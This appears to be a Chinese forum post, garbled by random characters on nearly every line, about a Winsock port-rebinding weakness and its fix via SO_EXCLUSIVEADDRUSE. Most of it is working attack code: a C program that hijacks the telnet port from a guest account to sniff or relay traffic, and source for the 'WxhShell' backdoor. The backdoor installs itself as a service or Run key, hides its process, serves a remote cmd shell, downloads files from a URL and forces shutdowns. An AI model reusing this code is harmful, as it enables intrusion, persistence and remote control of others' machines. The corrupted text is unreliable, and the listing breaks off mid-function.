在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
8]vut{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
y0T#Qq t CO?<QBE saddr.sin_family = AF_INET;
BH~zeJ*Pr w0j'>4 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
9)S3{i6w T{^mh(3/" bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
NrXIaN Wp:vz']V 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
TW(X#T@Z6I #&r}J 这意味着什么?意味着可以进行如下的攻击:
)SZ#%OE* qyVARy 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
`^^t#sT `p* 43nV 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
cH5 H? z~V-8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
m='}t \= iJoYxx 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
s1::\&`za cU ?F D 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
.s4v*bng B-KMlHe 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
1fIx@ J;wBS w%1 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
d*6/1vyjT 73'A Q")UJ #include
wY%t# [T3 #include
/E\04Bs #include
0n2H7}Uq #include
j<BRaT DWORD WINAPI ClientThread(LPVOID lpParam);
Hq<4G:# int main()
E`qX|n {
ZDp^k{AN9a WORD wVersionRequested;
q&9]4j DWORD ret;
}|;j2'(R WSADATA wsaData;
k}nGgd6XD BOOL val;
7_j t =sr SOCKADDR_IN saddr;
3[_WTwX0 SOCKADDR_IN scaddr;
,38M6yD int err;
1oiSmW\ SOCKET s;
c1FSQ
m81 SOCKET sc;
_s0)Dl6K int caddsize;
h/:LC 7 HANDLE mt;
VCnf`wZB" DWORD tid;
+ 0*\q wVersionRequested = MAKEWORD( 2, 2 );
MxX)&327 err = WSAStartup( wVersionRequested, &wsaData );
[9 :9<#?o^ if ( err != 0 ) {
II _CT= printf("error!WSAStartup failed!\n");
@Z#h?: return -1;
a[j]fv*6 }
baTd;`Pn saddr.sin_family = AF_INET;
kRwY# GoX<d{ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
ALO/{:l( q^^R|X1 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
.L1[Rv3 saddr.sin_port = htons(23);
0(u}z if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<Pe'&u {
iI'ib-d printf("error!socket failed!\n");
'
i5}`\ return -1;
j p~Tlomp }
C{t}q*fG
5 val = TRUE;
@~7au9.V=X //SO_REUSEADDR选项就是可以实现端口重绑定的
@sZ' --Y if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
HL$7Ou {
pON#r printf("error!setsockopt failed!\n");
:TKx>~` return -1;
v5?)J91 }
(Lj*FXmz //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
7iv g3* //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
W:w SM* //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
%M8Q6 Wq 1OYZ, if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ei1;@k/ {
b 5K"lPr ret=GetLastError();
wM;=^br printf("error!bind failed!\n");
q`z1ht
nf return -1;
cR55,DR,#W }
>OjK0jiPf listen(s,2);
gth_Sz5!# while(1)
e iH&<AH {
b rDyjh caddsize = sizeof(scaddr);
apM)$ //接受连接请求
vt(}8C+ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
`W1TqA if(sc!=INVALID_SOCKET)
OQg}E@LZ {
YReI|{O$c mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
w_QWTD0 if(mt==NULL)
,PKUgL}w {
%|R]nB printf("Thread Creat Failed!\n");
# M3d = break;
/a-s9< }
W_/$H_04+ }
C\bJ_vl;' CloseHandle(mt);
Gcxz$.( }
[V;u7Z\r- closesocket(s);
g86^Z%c(k WSACleanup();
k"/}9[6:U5 return 0;
`!ja0Sq]U }
@K#}nKN' DWORD WINAPI ClientThread(LPVOID lpParam)
z<yqQ[ {
rJ6N'vw> SOCKET ss = (SOCKET)lpParam;
A&-2f]L
tl SOCKET sc;
wYv++<
z unsigned char buf[4096];
@qA11C.hq SOCKADDR_IN saddr;
=gd~rk9 long num;
H:z<]Rc DWORD val;
=|^R<#%/ DWORD ret;
LiGECqWBa' //如果是隐藏端口应用的话,可以在此处加一些判断
K\lu;
//如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Y31e1
saddr.sin_family = AF_INET;
!\Xrl) $j{ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
CX5>/ saddr.sin_port = htons(23);
Ycxv=Et if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
"f}
}}l {
ue!4By8T printf("error!socket failed!\n");
"p>kiNu return -1;
$TAsb>W!( }
[4PiQyr val = 100;
>#.du}t if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
b0N7[M1Xl {
/(}YjeS ret = GetLastError();
TD!c+${w return -1;
qUQP.4Z9 5 }
PnI_W84z if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ZRa~miKyM {
?,eq86-M ret = GetLastError();
2P|j<~JS return -1;
' |yBz1uL }
5N2`e3:I if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
IfCa6g<&( {
Bthp_cSmLs printf("error!socket connect failed!\n");
?y~"\iP closesocket(sc);
O<?.iF% closesocket(ss);
r!p:73L8 return -1;
v dU) }
z&.F YGq} while(1)
srS5-fs {
(Ii+}Mfp //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
|q\Rvt$d //如果是嗅探内容的话,可以再此处进行内容分析和记录
;![rwra //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
~=$d>ZNQ num = recv(ss,buf,4096,0);
<;!#+|L/ if(num>0)
9_%??@^> send(sc,buf,num,0);
m{rsjdnA else if(num==0)
H+N6VVnO break;
B(R$5Xp num = recv(sc,buf,4096,0);
mP./e8 if(num>0)
lMjeq.5nP send(ss,buf,num,0);
*UdP1?Y else if(num==0)
^
`[T0X break;
>ZnnGX6$( }
R& HkWe closesocket(ss);
x\Kt}/9 7e closesocket(sc);
nX+c
HF return 0 ;
/+?eSgM/ }
=n_>7@9l fRcy$ Ap<j;s4` ==========================================================
1Zgv+. 3s,a%GOk 下边附上一个代码,,WXhSHELL
{$_Gjv g_(O7 ==========================================================
WWVQJ{,} -N1X=4/fg #include "stdafx.h"
?#/~BZR! )JA^FQ5N #include <stdio.h>
!/EN #include <string.h>
Xcc i)",! #include <windows.h>
RnUud\T/ #include <winsock2.h>
H :`H4S} #include <winsvc.h>
BBRZlx #include <urlmon.h>
6'1Lu1w HurF4IsHk #pragma comment (lib, "Ws2_32.lib")
1,pPLc( #pragma comment (lib, "urlmon.lib")
cbv%1DT3 Ak,T{;rD #define MAX_USER 100 // 最大客户端连接数
<-=g)3_ #define BUF_SOCK 200 // sock buffer
-y8>c0u #define KEY_BUFF 255 // 输入 buffer
NV;T*I8O [LKzH!
#define REBOOT 0 // 重启
&B} ,xcNO #define SHUTDOWN 1 // 关机
Z"
dU$,n wI#R\v8(`n #define DEF_PORT 5000 // 监听端口
!+3nlG4cw Y?JB%%WWI #define REG_LEN 16 // 注册表键长度
Eyg F,>.4 #define SVC_LEN 80 // NT服务名长度
sO8F0@%aH( .-.b:gdO( // 从dll定义API
Md>9Daa~ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
!~ZAm3GwL typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
u~1 ,88&U typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
z/f0.RJ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
r.v.y[u ]oyWJ#8 // wxhshell配置信息
wo\O0?d3{ struct WSCFG {
a- 7RJ. int ws_port; // 监听端口
\qB.>f"%p| char ws_passstr[REG_LEN]; // 口令
6MelN^\[7 int ws_autoins; // 安装标记, 1=yes 0=no
hGU 3DKHT char ws_regname[REG_LEN]; // 注册表键名
1cd3m char ws_svcname[REG_LEN]; // 服务名
xgZ<.r char ws_svcdisp[SVC_LEN]; // 服务显示名
256V
xn char ws_svcdesc[SVC_LEN]; // 服务描述信息
B1z7r0Rm, char ws_passmsg[SVC_LEN]; // 密码输入提示信息
6'jgjWEe3& int ws_downexe; // 下载执行标记, 1=yes 0=no
K,@} 'N char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
8k?V&J ` char ws_filenam[SVC_LEN]; // 下载后保存的文件名
!s[gv1 cs)R8vuB)z };
82yfPQ&UI ->J5|c# // default Wxhshell configuration
>9X+\eg- struct WSCFG wscfg={DEF_PORT,
<P-AlHYV- "xuhuanlingzhe",
Xb1is\JB 1,
(O'O#AD "Wxhshell",
%m "9 =C
"Wxhshell",
"QM2YJ55m` "WxhShell Service",
BXUd
i&'O "Wrsky Windows CmdShell Service",
xhncQhf\ "Please Input Your Password: ",
[q(}~0{"- 1,
"cDc~~3/@ "
http://www.wrsky.com/wxhshell.exe",
NP$ D9#
"Wxhshell.exe"
L+0O=zJF };
?7w7Y;FuR g7Z3GUCGL // 消息定义模块
p
I@!2c:} char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
CjLiLB
char *msg_ws_prompt="\n\r? for help\n\r#>";
|S3wCG char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
&&te(DC\ char *msg_ws_ext="\n\rExit.";
%`]fZr A]# char *msg_ws_end="\n\rQuit.";
LEY k char *msg_ws_boot="\n\rReboot...";
Uk4G9}I char *msg_ws_poff="\n\rShutdown...";
K]ds2Kp& char *msg_ws_down="\n\rSave to ";
lt#3&@<v
&Pgk$e%> char *msg_ws_err="\n\rErr!";
j15t8du&O char *msg_ws_ok="\n\rOK!";
!$fF3^8- )D
':bWP char ExeFile[MAX_PATH];
*NQsD C.J^ int nUser = 0;
Zu/1:8x HANDLE handles[MAX_USER];
b%e7rY2 int OsIsNt;
DC*6=m_ 6o]>lQ} SERVICE_STATUS serviceStatus;
i^V3u SERVICE_STATUS_HANDLE hServiceStatusHandle;
10r9sR [ejl #'*5 // 函数声明
laaoIL^ int Install(void);
y_{v&AGmgm int Uninstall(void);
w/Wd^+IIn int DownloadFile(char *sURL, SOCKET wsh);
:bz;_DZP int Boot(int flag);
4_o+gG%HaM void HideProc(void);
P.O/ZW>g int GetOsVer(void);
7OLchf int Wxhshell(SOCKET wsl);
h($Jo void TalkWithClient(void *cs);
M.KXDD#O int CmdShell(SOCKET sock);
$ZnVs@:S int StartFromService(void);
TJkWL2r0c int StartWxhshell(LPSTR lpCmdLine);
Px?0)^"2 RzqU`<// VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
3y-P-NI~= VOID WINAPI NTServiceHandler( DWORD fdwControl );
>TS=tK vf['$um // 数据结构和表定义
!tuK.?q|l SERVICE_TABLE_ENTRY DispatchTable[] =
Hu$JCB-% {
.KF(_
92 {wscfg.ws_svcname, NTServiceMain},
c_syJ< {NULL, NULL}
10$:^ };
*|)O /P/::$ // 自我安装
)Tad]Hd"W int Install(void)
GlaZZ, {
09Y:(2Qri char svExeFile[MAX_PATH];
n16TQe"8 HKEY key;
+!<{80w strcpy(svExeFile,ExeFile);
u|\K kk n|!O .+\b // 如果是win9x系统,修改注册表设为自启动
[,q^\T if(!OsIsNt) {
l u V_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^j]"5@f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
zl["}I(*n RegCloseKey(key);
.;NoKO7) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
juBzpQYj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
I}1<epd , RegCloseKey(key);
e}q!m(K]e- return 0;
kF7`R4Sz }
`/eh }
o@:u:n+. }
q'<K$4_,% else {
k{pn~)xg "aeKrMgc6V // 如果是NT以上系统,安装为系统服务
vX"jL SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
@!s(Zkpev if (schSCManager!=0)
KS(Ms*k;' {
vKNxL^x SC_HANDLE schService = CreateService
R=s^bYdoy (
C~:!WRCz schSCManager,
?&r>`H E wscfg.ws_svcname,
'C\knQ wscfg.ws_svcdisp,
d)jX%Z$LC SERVICE_ALL_ACCESS,
Ov8{ny SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
T|lyjX$Q]9 SERVICE_AUTO_START,
^tKJ}} SERVICE_ERROR_NORMAL,
[[d@P%X& svExeFile,
S]&7 NULL,
^tFgkzXm NULL,
8sxH)"S NULL,
fIcra NULL,
Y4n;[nHQ( NULL
H1g"09?h6o );
B=J/HiwV) if (schService!=0)
{"w4+m~+te {
RVb}R<yU+ CloseServiceHandle(schService);
-YP>mwSN? CloseServiceHandle(schSCManager);
}9ZcO\M strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
B%d2 tsDw strcat(svExeFile,wscfg.ws_svcname);
@ 6{U*vs if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
*FEY"W+bY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
OM
5h>\9 RegCloseKey(key);
zMQ|j_l9E return 0;
3xz{[ 5<p }
9oA.!4q }
7A[`%.!F6 CloseServiceHandle(schSCManager);
f;
1C) }
$I-i=:}g }
:X;AmLf`2u O<v9i4* return 1;
y*5bF0 }
-N[Q*;h| sS|N.2* // 自我卸载
]1<O [d int Uninstall(void)
lj!f\C}d {
mMEa*9P HKEY key;
v/yt C/WH" ]o]*&[C if(!OsIsNt) {
hup<U+p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^J=l] l RegDeleteValue(key,wscfg.ws_regname);
"cUCB RegCloseKey(key);
SlZ>N$E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Mo2b"A;}| RegDeleteValue(key,wscfg.ws_regname);
Q0j$u[x6s RegCloseKey(key);
" '/$ZpY return 0;
kWgZIkY }
g qRwN p }
$}/ !mXI5 }
058+_xX else {
]7, mo uII:Y{G SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
C +%&!Q if (schSCManager!=0)
hd2 X/" {
2I#4jy/g SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
m18 If if (schService!=0)
^c{,QS{ {
t-$R)vZ}M if(DeleteService(schService)!=0) {
t4H@ZvAH0 CloseServiceHandle(schService);
})R8VJ&C/ CloseServiceHandle(schSCManager);
,HxsU,xiG return 0;
heliL/ }
v^h
\E+@ CloseServiceHandle(schService);
#Pulbk8 }
jy] hP?QG CloseServiceHandle(schSCManager);
y4HOKJxI }
:H$D-pbJ4 }
Fs_umy# XLK#=YTI return 1;
.oq!Ys4KA }
$C UmRi{T tj ,*-).4% // 从指定url下载文件
BHE((3 int DownloadFile(char *sURL, SOCKET wsh)
d]OoJK9&& {
Vs~^r> HRESULT hr;
)K8k3]y& char seps[]= "/";
bUC-} char *token;
nBd!296 char *file;
U
n#7@8, char myURL[MAX_PATH];
YWSo:)LY char myFILE[MAX_PATH];
/vl]Oa&U x+vNA J strcpy(myURL,sURL);
\#[W8k<Z token=strtok(myURL,seps);
_dj<xPO while(token!=NULL)
fv!l { {
SzR0Mu3uK file=token;
{4 !%'~ token=strtok(NULL,seps);
S<f&?\wK=v }
%Yg;s'F>#q ^lT$D8 GetCurrentDirectory(MAX_PATH,myFILE);
BciwS_Qx strcat(myFILE, "\\");
F_!6C-z strcat(myFILE, file);
Hw5\~!FX send(wsh,myFILE,strlen(myFILE),0);
0\g;^Zpi send(wsh,"...",3,0);
$EbxV"b+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
O+1e if(hr==S_OK)
I]>-~_ return 0;
|EaGKC(
else
h:(Jes2 return 1;
Z9ciS";L 0k>NuIIP }
FyYQ4ov0&o [] 0`>rVq // 系统电源模块
t'4hWNR'
int Boot(int flag)
#6_?7 (X {
Mk=
tS+ HANDLE hToken;
A6}M F TOKEN_PRIVILEGES tkp;
"uCx.Q9ef bvn?wK if(OsIsNt) {
;u,%an<( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
7|T<dfQk LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
JGSeu =) tkp.PrivilegeCount = 1;
fyx-VXu tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
%,MCnu&Z AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
&6,GX7]Fo if(flag==REBOOT) {
F {]: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
\P!v9LX( return 0;
;=hl!CB }
d6<,R;) else {
<8!mmOK1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
eg)=^b return 0;
{O#=%o[ }
0F`@/C1y55 }
p{!aRB% else {
-hL8z$} if(flag==REBOOT) {
TxwZA if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
q NU\XO`H return 0;
Xgd!i}6Q }
kX\t0'=] else {
q+dY&4&u if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
w48T? return 0;
0 '~Jr\4 }
[f.[C5f%"' }
h(] O;a- 4eYj.=I return 1;
c>!>D7:7 }
(E&}SI~ l:8gCi // win9x进程隐藏模块
rYeFYPS void HideProc(void)
<y6M@(b {
?nB).fc
,L\OhT HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
nO$(\
z) if ( hKernel != NULL )
4Me*QYD {
Bca\grA pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
9X@y*;w<t ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Bb]pUb FreeLibrary(hKernel);
=!9+f }
7}%3Aw6]S X;v/$=-mz return;
~ra2Xyl }
g*b% JnmJN1@I // 获取操作系统版本
[}9R9G>" int GetOsVer(void)
_V1O =iu- {
IcoK22/ OSVERSIONINFO winfo;
(".`#909 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
lK9us GetVersionEx(&winfo);
un6grvxr if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
4.|]R8Mn return 1;
&rorBD 5aj else
hh{4r} | return 0;
PX(.bP2^Lq }
LP7t*}PK R6h(mPYA // 客户端句柄模块
+AtZltM i int Wxhshell(SOCKET wsl)
ul?'kuYk {
fR~_5pt7 SOCKET wsh;
xQ* U9Wt;T struct sockaddr_in client;
hc"+6xc DWORD myID;
x5WFPY$wM ?2
u_E " while(nUser<MAX_USER)
z=N'evx~ {
1[[`
^v int nSize=sizeof(client);
>E#| H6gx
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
f:B+R if(wsh==INVALID_SOCKET) return 1;
eq<xO28z
3:PBVt= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Ib*l{cxN if(handles[nUser]==0)
\"V7O'S)& closesocket(wsh);
9FP6Z[4 else
]ch cRc[! nUser++;
ES;7_ .q }
']ya_ v~e WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
d?oupW}uu y/$WjFj3" return 0;
fv5'Bl }
N~;=*)_VH (Vf&,b@U_ // 关闭 socket
4+:Q" void CloseIt(SOCKET wsh)
2_x}wB0P {
hvtg_w6K closesocket(wsh);
MQ$[jOAqP nUser--;
TKx.`Cf
m ExitThread(0);
%ErLL@e }
\tye:!a?;@ 0F8y8s // 客户端请求句柄
k_r12Bu void TalkWithClient(void *cs)
4rO07)~l {
I+kGEHO} 8Focs p2
SOCKET wsh=(SOCKET)cs;
S`8
h]vX char pwd[SVC_LEN];
>)R7*^m{' char cmd[KEY_BUFF];
T6=c9f?7 char chr[1];
94=Wy- int i,j;
R3TdQ6j mQ;b'0& while (nUser < MAX_USER) {
'v GrbmK j5Vyo> if(wscfg.ws_passstr) {
KqG:o+V= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
BKP XXR //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
&?"(al? //ZeroMemory(pwd,KEY_BUFF);
y#F( xm+L i=0;
^GQ+,0Yy while(i<SVC_LEN) {
'H`aQt+ -%E+Yl{v // 设置超时
\rn:/ fd_set FdRead;
8L`J](y struct timeval TimeOut;
N\ChA]Ck FD_ZERO(&FdRead);
V2Q2(yvdJ FD_SET(wsh,&FdRead);
)s5Q4m! TimeOut.tv_sec=8;
T?4MFx# TimeOut.tv_usec=0;
\HF|&@}hU int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
=e=sK'NvD if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
@d:TAwOI' bgq/]fI} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
S@*lI2 pwd
=chr[0]; m X{_B!j^
if(chr[0]==0xd || chr[0]==0xa) { as=Z_a:0N
pwd=0; \2KwF}[m
break; k%YvJ XL
} Aj((tMJNOw
i++; HR]*75}e
} VRQ'sn@
141@$mMzE
// 如果是非法用户,关闭 socket J5e
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;)].Dj9
} LI1OocY.]
<Dojl
#
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0`VA}c
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6..G/,TB
MWTzJGRT
while(1) { YaU)66=u
RG[b+Qjn
ZeroMemory(cmd,KEY_BUFF); *gF8"0s
&v9*D`7L
// 自动支持客户端 telnet标准 g:<2yT
j=0; qM%l
while(j<KEY_BUFF) { 6/e+=W2
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4UP#~
cmd[j]=chr[0]; d h5%
if(chr[0]==0xa || chr[0]==0xd) { xNDX(_U>\
cmd[j]=0; OwRH
:l
break; :+Ti^FF`w
} vt8z=O
j++; kD1[6cJ!=.
} .YOC|\
tA;#yM;
// 下载文件 6[wAX
if(strstr(cmd,"http://")) { VaKBS/y"
send(wsh,msg_ws_down,strlen(msg_ws_down),0); .$&_fUY
if(DownloadFile(cmd,wsh)) 5}-e9U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (rF XzCI
else Nr6[w|Tzd
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jiAKV0lX
W
} [@K#BFA
else { N-C=O
xn1=@0
a
switch(cmd[0]) { _}G1/`09#
Iq/V[v
// 帮助 F,F1Axf
case '?': { cow]qe6K
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FH Hi/yh
break; t^ax:6;"|
} cHr.7 w
// 安装 (>.+tq}
case 'i': { y*6-?@
if(Install()) Cx,)$!1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 22`N(_
else \~ACWF7l
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IgxZ_2hO
break; :>G3N+A)
} >S]_{pb
// 卸载 I{rW+<)QGC
case 'r': { @20~R/vh
if(Uninstall()) 3d_PY,=1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yKy07<Gr>
else k uEB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +xGz~~iNh
break; 97XGJ1HI
} QAI!/bB
// 显示 wxhshell 所在路径 !uno!wUIYd
case 'p': { q%^vx%aL\
char svExeFile[MAX_PATH]; "q'9-lk
strcpy(svExeFile,"\n\r"); E#cW3\)
strcat(svExeFile,ExeFile); JW`Kh*,~<
send(wsh,svExeFile,strlen(svExeFile),0); ]0g%)f uMf
break; :2n(WXFFI
} 6BPZ2EQ
// 重启 GA8cA)]zOD
case 'b': { qtv>`:neB
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s\-^vj3
if(Boot(REBOOT)) o`@B*, @
send(wsh,msg_ws_err,strlen(msg_ws_err),0); te+5@k#t
else { ,Cj8{s&;
closesocket(wsh); B-OuBS,fwC
ExitThread(0); r7I,%}k
} vGk}r
break; Q9~UL^bF
} ? }k~>. \
// 关机 Q)l]TgvSe
case 'd': { ,8F?v~C
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R.g'&_zx
if(Boot(SHUTDOWN)) [|sKu#yW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wFW2m
else { `B`/8Cvg
closesocket(wsh); p,?8s%
ExitThread(0); oadlyqlw#
} ,]N!I%SI
break; [xXml On!
} JuGQS24
// 获取shell X-Sso9/q.
case 's': { VD\pQ.=
CmdShell(wsh); D&WXa|EOK
closesocket(wsh); %qzpt{'?<
ExitThread(0); 4*UoTE-g$
break; u1 uu_*
} t9&z|?Vz
// 退出 I +,D,Vg
case 'x': { f77uqv(Y
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VA _O0y2
CloseIt(wsh); }lgqRg)F9[
break; yaf&SR@7k{
} ^i{B8]2,
// 离开 %J`;
case 'q': { bOCdf"!g
send(wsh,msg_ws_end,strlen(msg_ws_end),0); _"Q
+G@@
closesocket(wsh); 5eC5oX>
WSACleanup(); %PG::b
exit(1); /Q"nQSG
break; r*/Pyh
} ]{OEU]I@
} O.=~/!(
} US)wr
+G&h
// 提示信息 a#1LGH7E8
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h*hV
} u+s#Fee I
} OgrUP
? 9i7+Y"
return; i^uC4S~
} 8Es]WR5
^
`h S<F"
j
// shell模块句柄 +D4Nu+~BSN
int CmdShell(SOCKET sock) JBE'B Q@
{ 'N5qX>Ob
STARTUPINFO si; ~`hI|i<]
ZeroMemory(&si,sizeof(si)); P58U8MEG
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tZa)sbz
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5vYh~|
PROCESS_INFORMATION ProcessInfo; 9Pd~
char cmdline[]="cmd"; PZpwi?N
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +M@G 8l
return 0; {H $\,
} 5G){7]P+r"
{<~XwJ.
// 自身启动模式 Q|gun}
int StartFromService(void) ]qXHalHY
{ \9se~tAl3
typedef struct lIzJO$8cM
{ 30>TxL=&
DWORD ExitStatus; P
xpz7He
DWORD PebBaseAddress; v.6"<nT2
DWORD AffinityMask; )\^o<x2S
DWORD BasePriority; 1a4QWGpq
